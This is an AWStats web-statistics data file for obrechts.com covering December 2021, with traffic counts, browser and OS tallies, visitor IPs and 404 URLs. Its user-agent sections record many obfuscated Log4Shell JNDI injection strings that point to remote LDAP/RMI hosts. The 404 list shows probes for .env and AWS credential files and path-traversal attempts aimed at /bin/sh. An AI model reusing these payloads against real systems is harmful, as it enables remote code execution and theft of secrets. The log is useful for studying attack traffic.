File: /home2/obrechts/tmp/awstats/awstats122021.obrechts.com.txt
AWSTATS DATA FILE 7.4 (build 20140726)
# If you remove this file, all statistics for date 202112 will be lost/reset.
# Last config file used to build this data file was /home/obrechts/tmp/awstats/awstats.obrechts.com.conf.
# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2009
POS_TIME 2667
POS_VISITOR 18357
POS_DAY 28640
POS_DOMAIN 3367
POS_LOGIN 3812
POS_ROBOT 3967
POS_WORMS 4343
POS_EMAILSENDER 4474
POS_EMAILRECEIVER 4617
POS_SESSION 29366
POS_SIDER 29530
POS_FILETYPES 4752
POS_DOWNLOADS 4856
POS_OS 4904
POS_BROWSER 5133
POS_SCREENSIZE 6549
POS_UNKNOWNREFERER 6623
POS_UNKNOWNREFERERBROWSER 9886
POS_ORIGIN 12962
POS_SEREFERRALS 13100
POS_PAGEREFS 13253
POS_SEARCHWORDS 13452
POS_KEYWORDS 13604
POS_MISC 2331
POS_ERRORS 13663
POS_CLUSTER 3668
POS_SIDER_404 13758
END_MAP
# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime = Date of first visit for history file
# LastTime = Date of last visit for history file
# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220101041545 1 0 9970469221509
FirstTime 0
LastTime 20211231222828
LastUpdate 20220102041524 1 0 0 0 0
TotalVisits 318
TotalUnique 276
MonthHostsKnown 0
MonthHostsUnknown 276
END_GENERAL
# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
DirectorSupport 0 0 0
JavaEnabled 0 0 0
RealPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
AddToFavourites 0 0 0
JavascriptDisabled 0 0 0
TotalMisc 0 0 0
END_MISC
# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 7 7 2045 55 62 1750
1 12 12 3205 35 41 586
2 6 6 1758 28 34 1463
3 12 12 20493 61 65 877
4 8 8 2344 62 68 2340
5 12 12 3500 87 94 873
6 11 11 3205 40 48 586
7 13 13 3783 27 41 877
8 15 15 4377 58 73 2049
9 13 13 3787 30 42 2336
10 6 6 1754 42 56 2344
11 8 8 2045 22 32 877
12 9 9 2619 28 39 2643
13 20 20 5832 65 81 1758
14 11 11 2926 38 45 1467
15 11 11 3205 38 46 2332
16 14 14 3783 83 91 873
17 14 14 3795 55 56 1164
18 14 14 4086 48 56 1758
19 15 15 4369 54 59 2041
20 72 72 20952 45 83 881
21 46 46 13394 56 78 1754
22 20 20 5557 26 40 2037
23 12 12 3205 21 30 2336
END_TIME
# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 19
us 276 276 79308
cn 21 21 5852
ru 14 14 21358
gb 14 14 4074
th 8 8 2328
de 8 8 2328
in 7 7 1168
se 4 4 1164
nl 4 4 1164
gr 4 4 1164
fr 4 4 1164
au 4 4 1164
bg 3 3 873
pl 2 2 582
ca 2 2 582
ir 2 2 582
id 2 2 582
ie 1 1 291
vg 1 1 291
END_DOMAIN
# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER
# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN
# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 7
bot[\s_+:,\.\;\/\\-] 61 17859 20211230030428 0
no_user_agent 21 6111 20211231044828 0
robot 21 6155 20211230121225 0
spider 18 5238 20211227235538 0
crawl 6 1762 20211224091016 0
googlebot 2 582 20211205104434 0
netcraft 1 295 20211201121923 0
END_ROBOT
# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS
# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER
# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER
# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 2
Unknown 2 17858 0 0
html 379 108161 0 0
END_FILETYPES
# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS
# OS ID - Hits
BEGIN_OS ID - Hits - Pages 13
winnt 78 78
macosx8 2 2
macosx9 4 4
winxp 6 6
win7 18 18
ios_iphone 2 2
ios_ipad 1 1
linuxandroid 8 8
win8.1 3 3
linux 95 95
win8 2 2
Unknown 122 122
macosx 40 40
END_OS
# Browser ID - Hits - Pages
BEGIN_BROWSER 64
safari4.0.2 1 1
chrome60.0.3112.113 23 23
chrome22.0.1207.1 6 6
Unknown 119 119
firefox89.0 3 3
chrome36.0.1985.67 1 1
firefox35.0 1 1
chrome92.0.4515.159 6 6
chrome90.0.4430.72 6 6
chrome89.0.4389.114 3 3
safari11.0 2 2
chrome88.0.4324.190 2 2
chrome90.0.4430.93 1 1
chrome91.0.4472.124 1 1
chrome35.0.1916.47 3 3
chrome86.0.4472.114 2 2
chrome89.0.4389.82 1 1
chrome92.0.4515.131 3 3
chrome90.0.4430.86 1 1
chrome86.0.4217.2 1 1
chrome95.0.4638.69 3 3
firefox81.0 13 13
chrome83.0.4103.143 1 1
chrome80.0.3987.149 1 1
chrome41.0.2224.3 1 1
chrome92.0.4515.107 1 1
chrome83.0.4103.61 1 1
chrome83.0.1667.0 1 1
chrome85.0.4183.121 4 4
chrome87.0.4472.114 1 1
safari12.0.2 3 3
firefox94.0 1 1
chrome91.0.4472.114 8 8
chrome76.0.3809.100 2 2
chrome55.0.2883.87 1 1
chrome32.0.1664.3 1 1
chrome60.0.3112.107 1 1
chrome66.0.3359.139 1 1
chrome66.0.3359.117 4 4
chrome81.0.4044.138 1 1
firefox4.0 1 1
chrome80.0.3987.132 1 1
chrome74.0.3729.169 6 6
opera76.0.4017.177 2 2
chrome62.0.3202.94 1 1
chrome89.0.4389.128 1 1
chrome64.0.3282.167 1 1
firefox59.0 2 2
firefox52.0 1 1
firefox68.0 2 2
chrome90.0.4430.85 4 4
chrome86.0.4216.0 1 1
mozilla 1 1
chrome87.0.4280.88 2 2
safari13.4.1 1 1
safari 1 1
chrome26.0.1410.65 2 2
firefox66.0 1 1
chrome84.0.4147.105 13 13
chrome88.0.4324.192 1 1
msie11.0 3 3
chrome5.0.375.99 3 3
chrome83.0.4103.97 91 91
chrome94.0.4606.81 3 3
END_BROWSER
# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE
# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 44
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://185.254.196.236:1389/jijec} 20211216092817
${${::-j}ndi:rmi://51.79.74.227:1389/Binary} 20211223191754
Mozilla/5.0_Firefox/35.0 20211201130539
python-requests/2.9.1 20211222091455
${${::-j}ndi:rmi://167.99.115.242:1389/Binary} 20211221090036
python-requests/2.21.0 20211224013114
${${lower:${lower:jndi}}:${lower:rmi}://144.202.34.169:1389/#Binary} 20211222210839
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://51.79.74.227:1389/Binary} 20211224090756
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20211228175928
${${lower:jndi}:${lower:rmi}://185.254.196.236:1389/jijec} 20211216114514
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://188.166.57.35:1389/Binary} 20211220130841
${${lower:${lower:jndi}}:${lower:rmi}://144.202.34.169:1389/Binary} 20211222091455
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://185.254.196.236:1389/jijec} 20211216195541
${${::-j}ndi:rmi://144.202.34.169:1389/#Binary} 20211222182254
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://167.99.115.242:1389/Binary} 20211220141133
python-requests/2.18.4 20211223192657
panscient.com 20211224184634
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://51.79.74.227:1389/#Binary} 20211223151314
${${lower:${lower:jndi}}:${lower:rmi}://188.166.57.35:1389/Binary} 20211221050115
${${::-j}ndi:rmi://185.254.196.236:1389/jijec} 20211216173505
${jndi:ldap://144.202.34.169:1389/Binary} 20211224013116
${jndi:ldap://167.99.115.242:1389/Binary} 20211220201020
ZaldomoSearchBot(www.zaldamo.com/search.html) 20211216040717
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://144.202.34.169:1389/#Binary} 20211222082105
${jndi:rmi://188.166.57.35:1389/Binary} 20211220181208
${${lower:${lower:jndi}}:${lower:rmi}://167.99.115.242:1389/Binary} 20211220215845
Mozilla/5.0_(Android_7.0;_Mobile;_LG-M150;_rv:68.0)_Gecko/68.0_Firefox/68.0 20211222114636
${${lower:jndi}:${lower:rmi}://188.166.57.35:1389/Binary} 20211220202321
${${::-j}ndi:rmi://188.166.57.35:1389/Binary} 20211219193832
Mozilla/5.0_(compatible;_ips-agent) 20211202082306
python-requests/2.22.0 20211221151720
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://188.166.57.35:1389/Binary} 20211220173120
${${lower:jndi}:${lower:rmi}://167.99.115.242:1389/Binary} 20211222073154
GRequests/0.10 20211227222231
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://167.99.115.242:1389/Binary} 20211221153527
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20211226154728
${jndi:ldap://51.79.74.227:1389/Binary} 20211222222657
${jndi:rmi://144.202.34.169:1389/#Binary} 20211223132429
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://144.202.34.169:1389/Binary} 20211223192658
Embarcadero_URI_Client/1.0 20211218132437
${jndi:rmi://51.79.74.227:1389/Binary} 20211223104351
${jndi:rmi://167.99.115.242:1389/Binary} 20211221093952
${jndi:ldap://188.166.57.35:1389/Binary} 20211221081453
${${::-j}ndi:rmi://51.79.74.227:1389/#Binary} 20211224064519
END_UNKNOWNREFERER
# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 41
python-requests/2.9.1 20211222091455
${${::-j}ndi:rmi://51.79.74.227:1389/Binary} 20211223191754
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://185.254.196.236:1389/jijec} 20211216092817
${${lower:${lower:jndi}}:${lower:rmi}://144.202.34.169:1389/#Binary} 20211222210839
python-requests/2.21.0 20211224013114
${${::-j}ndi:rmi://167.99.115.242:1389/Binary} 20211221090036
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://188.166.57.35:1389/Binary} 20211220130841
${${lower:jndi}:${lower:rmi}://185.254.196.236:1389/jijec} 20211216114514
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20211228175928
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://51.79.74.227:1389/Binary} 20211224090756
${${lower:${lower:jndi}}:${lower:rmi}://144.202.34.169:1389/Binary} 20211222091455
${${::-j}ndi:rmi://144.202.34.169:1389/#Binary} 20211222182254
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://185.254.196.236:1389/jijec} 20211216195541
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://51.79.74.227:1389/#Binary} 20211223151314
panscient.com 20211224184634
python-requests/2.18.4 20211223192657
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://167.99.115.242:1389/Binary} 20211220141133
${${::-j}ndi:rmi://185.254.196.236:1389/jijec} 20211216173505
${${lower:${lower:jndi}}:${lower:rmi}://188.166.57.35:1389/Binary} 20211221050115
${jndi:ldap://167.99.115.242:1389/Binary} 20211220201020
${jndi:ldap://144.202.34.169:1389/Binary} 20211224013116
${jndi:rmi://188.166.57.35:1389/Binary} 20211220181208
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://144.202.34.169:1389/#Binary} 20211222082105
ZaldomoSearchBot(www.zaldamo.com/search.html) 20211216040717
${${lower:jndi}:${lower:rmi}://188.166.57.35:1389/Binary} 20211220202321
${${::-j}ndi:rmi://188.166.57.35:1389/Binary} 20211219193832
${${lower:${lower:jndi}}:${lower:rmi}://167.99.115.242:1389/Binary} 20211220215845
python-requests/2.22.0 20211221151720
GRequests/0.10 20211227222231
${${lower:jndi}:${lower:rmi}://167.99.115.242:1389/Binary} 20211222073154
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://188.166.57.35:1389/Binary} 20211220173120
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20211226154728
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://167.99.115.242:1389/Binary} 20211221153527
Embarcadero_URI_Client/1.0 20211218132437
${jndi:rmi://144.202.34.169:1389/#Binary} 20211223132429
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://144.202.34.169:1389/Binary} 20211223192658
${jndi:ldap://51.79.74.227:1389/Binary} 20211222222657
${${::-j}ndi:rmi://51.79.74.227:1389/#Binary} 20211224064519
${jndi:ldap://188.166.57.35:1389/Binary} 20211221081453
${jndi:rmi://51.79.74.227:1389/Binary} 20211223104351
${jndi:rmi://167.99.115.242:1389/Binary} 20211221093952
END_UNKNOWNREFERERBROWSER
# Origin - Pages - Hits
BEGIN_ORIGIN 6
From0 263 263
From1 98 98
From2 3 3
From3 1 1
From4 16 16
From5 0 0
END_ORIGIN
# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
bing 3 3
END_SEREFERRALS
# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
https://webtechsurvey.com/website/obrechts.com 1 1
END_PAGEREFS
# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS
# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS
# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
404 1179 0
302 2 0
END_ERRORS
# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 124
/uploads/ 2 binance.com
/wp-content/plugins/spamtask/chart/php-ofc-library/ofc_upload_image.php 1 -
/js/app.js 1 -
/feed/ 1 -
/mt6/mt-xmlrpc.cgi 1 -
/cgi-bin/mt/mt-xmlrpc.cgi 1 -
/public/assets/jquery-file-upload/server/php/index.php 2 -
/principal.php 1 -
/solr 3 ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://144.202.34.169:1389/#Binary}
/radio.php 1 -
/phpMyAdmin/ 1 http://obrechts.com/phpMyAdmin/
/app/.env 3 -
/assets/plugins/jquery-file-upload/server/php/index.php 2 -
/phpinfo 1 -
/wp2/wp-includes/wlwmanifest.xml 1 -
/config/aws.yml 1 -
/wp-content/plugins/wpwhatsmyrankvideoregular-unlimited/php-ofc-library/ofc_upload_image.php 1 -
/phpmyadmin/ 1 http://obrechts.com/phpmyadmin/
/admin/controller/extension/extension/ 2 binance.com
/2021/wp-includes/wlwmanifest.xml 1 -
/wp-content/ 2 -
/cms/wp-includes/wlwmanifest.xml 2 -
/wp-content/plugins/whatsmyrank-devenc/php-ofc-library/ofc_upload_image.php 1 -
/sites/default/files/ 2 binance.com
/new 1 -
/main 1 -
/Backoffice/ 4 -
/.ftpconfig 1 -
/2020/wp-includes/wlwmanifest.xml 2 -
/robots.txt 184 -
/website/wp-includes/wlwmanifest.xml 1 -
/security.txt 1 -
/.env 18 -
/admin/ 11 -
/administrator 1 -
/files/ 2 binance.com
/xmlrpc.php 2 -
http://obrechts.com/js/index.php 1 -
/wp-content/plugins/wp-seo-spy-google/ofc/php-ofc-library/ofc_upload_image.php 1 -
/wp-content/plugins/seo-watcher/ofc/php-ofc-library/ofc_upload_image.php 1 -
/wp1/wp-includes/wlwmanifest.xml 2 -
/wp-content/plugins/ip-logger/chart/ofc_upload_image.php 1 -
/wp-content/plugins/open-flash-chart-core-wordpress-plugin/open-flash-chart-2/php-ofc-library/ofc_upload_image.php 1 -
/_profiler/phpinfo 2 -
/assets/global/plugins/jquery-file-upload/server/php/index.php 2 -
/admin 14 -
/wordpress/wp-login.php 661 -
/bk 1 -
/aws.yml 1 -
/misc/drupal.js 2 -
/icons/sphere1.png 4 -
/news/wp-includes/wlwmanifest.xml 1 -
/residential/ 3 -
/wp-content/plugins/civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php 1 -
/public/assets/global/plugins/jquery-file-upload/server/php/index.php 2 -
/.aws/credentials 1 -
/oldsite 1 -
/wordpress/wp-includes/wlwmanifest.xml 2 -
/config.js 1 -
/cgi-bin/mt-xmlrpc.cgi 1 -
/laravel/.env 1 -
/bc 1 -
/wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/php-ofc-library/ofc_upload_image.php 1 -
/license.txt 1 -
/administrator/ 12 -
/.well-known/security.txt 1 -
/administrator/index.php 8 http://obrechts.com/administrator/
/sitemap.xml 2 -
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh 2 -
/wp-login.php 52 -
/storage/.env 1 -
/.env.bak 1 -
/.well-known/ 2 binance.com
/wp/wp-includes/wlwmanifest.xml 2 -
/public/plugins/jquery-file-upload/server/php/index.php 2 -
/admin.php 12 -
/blog/wp-includes/wlwmanifest.xml 2 -
/vendor/.env 1 -
/web/wp-includes/wlwmanifest.xml 2 -
/2019/wp-includes/wlwmanifest.xml 2 -
/blob/.env 1 -
/shop/wp-includes/wlwmanifest.xml 2 -
/sites/all/libraries/plupload/examples/upload.php 2 -
/cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/bin/bash 2 -
/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php 1 -
/old-index.php 1 -
/wp-admin/ 7 http://obrechts.com/wp-login.php
/home 1 -
/vendor/laravel/.env 1 -
/phpinfo.php 1 -
/wp-admin/css/ 2 binance.com
/public/.env 1 -
/mt/mt-xmlrpc.cgi 1 -
/wp/wp-login.php 3 http://obrechts.com
/public/assets/plugins/jquery-file-upload/server/php/index.php 2 -
/wordpress 1 -
/ 6 -
/maintenances 1 -
/backup 1 -
/site/wp-includes/wlwmanifest.xml 2 -
/wp-content/plugins/wp-slimstat-ex/lib/ofc/php-ofc-library/ofc_upload_image.php 1 -
/demo/server/php/index.php 4 -
/downloader/ 3 http://obrechts.com/downloader/
/test/wp-includes/wlwmanifest.xml 2 -
/cgi/mt/mt-xmlrpc.cgi 1 -
/ads.txt 6 -
/wikindex.php 1 -
/Backoffice 1 -
/assets/jquery-file-upload/server/php/index.php 2 -
/info.php 1 -
/idotensei.php 1 -
/sito/wp-includes/wlwmanifest.xml 1 -
/wp-content/plugins/formidable/pro/js/ofc-library/ofc_upload_image.php 1 -
/old-site 1 -
/wp 1 -
/user/register/ 2 -
/wp-content/plugins/wp-business-intelligence-lite/resources/open-flash-chart/php-ofc-library/ofc_upload_image.php 1 -
/humans.txt 4 -
/old 1 -
/core/misc/drupal.js 2 -
/wp-includes/wlwmanifest.xml 1 -
/images/ 2 binance.com
/blog/wp-login.php 3 http://obrechts.com
/wordpress/ 18 -
END_SIDER_404
# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 276
54.39.29.64 8 8 2328 20211231104908
91.241.19.243 6 6 1746 20211227080613
42.83.147.34 5 5 1455 20211228224958
128.14.141.34 5 5 1467 20211224005545
128.1.248.26 4 4 1168 20211230000053
119.59.103.110 4 4 1164 20211224090756
162.241.124.110 4 4 1164 20211224064519
85.187.218.98 3 3 873 20211222091455
69.163.46.110 3 3 873 20211224013116
167.86.75.145 3 3 873 20211223192658
208.100.26.237 3 3 877 20211224232805
128.14.134.134 3 3 885 20211230064420
13.79.160.159 3 3 877 20211217214635
168.138.6.8 3 3 873 20211204202012
128.14.133.58 3 3 881 20211229134432
165.22.23.48 3 3 873 20211221151721
208.100.26.244 3 3 881 20211221041345
208.100.26.246 3 3 877 20211230173124
144.217.243.0 3 3 873 20211207161008
165.22.61.235 2 2 582 20211220014222
149.202.179.100 2 2 582 20211219215852
74.208.22.204 2 2 582 20211220130841
64.227.31.233 2 2 582 20211222073154
143.110.188.74 2 2 582 20211222210839
202.182.106.33 2 2 582 20211220215303
54.213.106.156 1 1 291 20211225203226
34.252.39.133 1 1 291 20211211181753
208.100.26.233 1 1 291 20211212204350
54.229.175.27 1 1 291 20211210221417
54.200.132.254 1 1 291 20211209205453
35.88.105.239 1 1 291 20211230204702
34.209.103.117 1 1 291 20211212202954
172.105.86.246 1 1 291 20211216075330
162.241.92.70 1 1 291 20211216195541
34.79.239.42 1 1 291 20211221125550
34.219.231.239 1 1 291 20211220205554
34.140.107.62 1 1 295 20211211144653
94.172.221.176 1 1 291 20211209181007
34.96.130.28 1 1 291 20211224001631
52.1.150.219 1 1 295 20211203010847
207.142.3.81 1 1 291 20211222211442
45.129.18.115 1 1 0 20211227222515
62.210.88.24 1 1 291 20211222203754
54.70.152.252 1 1 291 20211210205920
75.15.244.98 1 1 295 20211216040717
54.37.235.123 1 1 291 20211216173505
44.200.192.13 1 1 291 20211227051341
185.180.143.145 1 1 295 20211221171408
92.118.160.5 1 1 291 20211226154728
23.90.160.138 1 1 291 20211222184153
54.187.78.73 1 1 291 20211204212845
52.37.142.25 1 1 291 20211208205940
95.138.179.30 2 2 582 20211220181208
54.202.148.120 1 1 291 20211230204449
34.209.23.148 1 1 291 20211217201513
164.90.229.63 2 2 582 20211221050115
208.100.26.247 1 1 291 20211222114636
185.165.241.37 1 1 291 20211221064603
54.188.76.152 1 1 291 20211228213459
54.154.141.91 1 1 291 20211213054129
35.88.140.132 1 1 291 20211226214055
64.227.16.142 2 2 582 20211220081456
72.79.44.121 1 1 295 20211224184634
34.214.118.182 1 1 291 20211229230904
52.34.3.78 1 1 291 20211201202624
54.191.231.183 1 1 291 20211205201912
104.155.105.118 1 1 295 20211205084449
54.185.108.215 1 1 291 20211203202800
54.212.120.140 1 1 291 20211230204603
34.86.35.24 1 1 291 20211207192254
18.236.68.137 1 1 291 20211229231035
54.187.122.178 1 1 291 20211214220507
35.167.32.96 1 1 291 20211208211452
54.37.136.25 2 2 582 20211220141133
192.46.233.45 1 1 291 20211216092817
92.118.160.41 1 1 291 20211205070425
194.5.193.183 1 1 291 20211201124921
54.244.201.122 1 1 291 20211226213552
54.185.129.238 1 1 291 20211206204324
157.230.99.206 2 2 582 20211221001333
157.230.246.7 1 1 291 20211211222024
193.118.53.130 1 1 291 20211208140839
128.1.248.42 2 2 586 20211210022205
208.100.26.248 1 1 291 20211205213507
35.195.171.208 1 1 295 20211222104842
79.143.181.160 2 2 582 20211220130655
221.130.37.154 1 1 295 20211208171047
54.188.165.131 1 1 291 20211209205109
34.222.144.74 1 1 291 20211214212825
124.126.78.166 1 1 291 20211217185155
52.12.32.139 1 1 291 20211209205058
34.86.35.25 1 1 291 20211228175928
34.221.200.43 1 1 291 20211226214139
34.220.26.123 1 1 291 20211201202548
54.149.69.46 1 1 291 20211211203200
138.201.142.73 2 2 582 20211222222657
34.211.173.24 1 1 291 20211224201657
35.86.116.46 1 1 291 20211213203737
123.232.43.162 1 1 291 20211207102007
185.180.143.12 1 1 295 20211204115850
35.87.132.203 1 1 291 20211204204544
202.28.34.99 2 2 582 20211220170437
34.86.35.30 1 1 291 20211210064222
63.32.104.239 1 1 291 20211212160810
143.110.242.174 2 2 582 20211223075610
65.21.206.43 1 1 291 20211211032932
184.94.240.92 2 2 590 20211225130841
34.79.144.212 1 1 295 20211224144836
23.19.75.76 1 1 291 20211219144254
54.70.227.129 1 1 291 20211223204006
23.229.113.138 1 1 291 20211219135818
207.142.2.101 1 1 291 20211222211453
52.33.89.171 1 1 291 20211213203703
144.202.34.169 2 2 582 20211220202321
180.128.242.104 2 2 582 20211223132429
35.87.126.100 1 1 291 20211231211102
35.88.66.140 1 1 291 20211220205606
54.191.49.24 1 1 291 20211219204949
52.209.200.217 1 1 291 20211212021637
54.212.9.146 1 1 291 20211226204536
35.87.26.42 1 1 291 20211210205953
54.74.7.241 1 1 291 20211212081251
139.59.0.64 2 2 582 20211223191754
213.241.20.155 2 2 582 20211219204920
192.154.230.46 2 2 582 20211219193832
52.12.249.227 1 1 291 20211217201548
35.87.206.246 1 1 291 20211220210841
34.221.143.87 1 1 291 20211201202000
65.21.206.44 1 1 291 20211221085836
3.145.139.182 1 1 0 20211208110611
173.82.82.196 2 2 582 20211221194745
158.69.0.129 2 2 582 20211219234116
3.8.17.129 1 1 291 20211215163947
109.248.133.159 1 1 291 20211216010723
194.87.113.223 2 2 17858 20211224032243
93.158.92.204 1 1 291 20211211064011
52.13.245.64 1 1 291 20211228213357
128.14.209.162 2 2 586 20211215114924
34.222.164.84 1 1 291 20211214211032
47.105.60.17 1 1 291 20211216114514
34.79.242.173 1 1 295 20211228225238
103.119.139.27 2 2 582 20211222082105
18.202.247.58 1 1 291 20211208043443
52.211.21.178 1 1 291 20211212212023
3.249.249.73 1 1 291 20211211080849
34.77.102.182 1 1 295 20211203044238
159.65.131.221 1 1 291 20211229050805
52.13.56.30 1 1 291 20211225205006
52.26.192.125 1 1 291 20211226214012
54.212.24.157 1 1 291 20211222203019
52.42.221.96 1 1 291 20211208211341
185.27.99.126 1 1 291 20211226132317
51.79.166.3 2 2 582 20211223151314
62.171.179.103 2 2 582 20211221090036
34.216.233.75 1 1 291 20211226214201
34.219.208.194 1 1 291 20211230205620
176.34.222.82 1 1 291 20211211182928
219.138.163.116 2 2 590 20211219114458
34.222.224.230 1 1 291 20211226214230
193.118.53.210 2 2 582 20211209011254
34.216.171.74 1 1 291 20211204204510
34.77.162.16 1 1 291 20211214162246
92.118.160.45 1 1 291 20211212064836
59.175.144.15 2 2 590 20211227222231
54.212.147.140 2 2 582 20211216213806
34.220.133.175 1 1 291 20211201201932
35.89.28.26 1 1 291 20211214213441
167.172.62.217 1 1 291 20211218130859
198.199.65.189 2 2 582 20211220173444
64.246.165.180 1 1 295 20211211134813
167.86.101.97 2 2 582 20211220142614
34.78.36.141 1 1 295 20211209103833
54.36.113.142 1 1 295 20211209222757
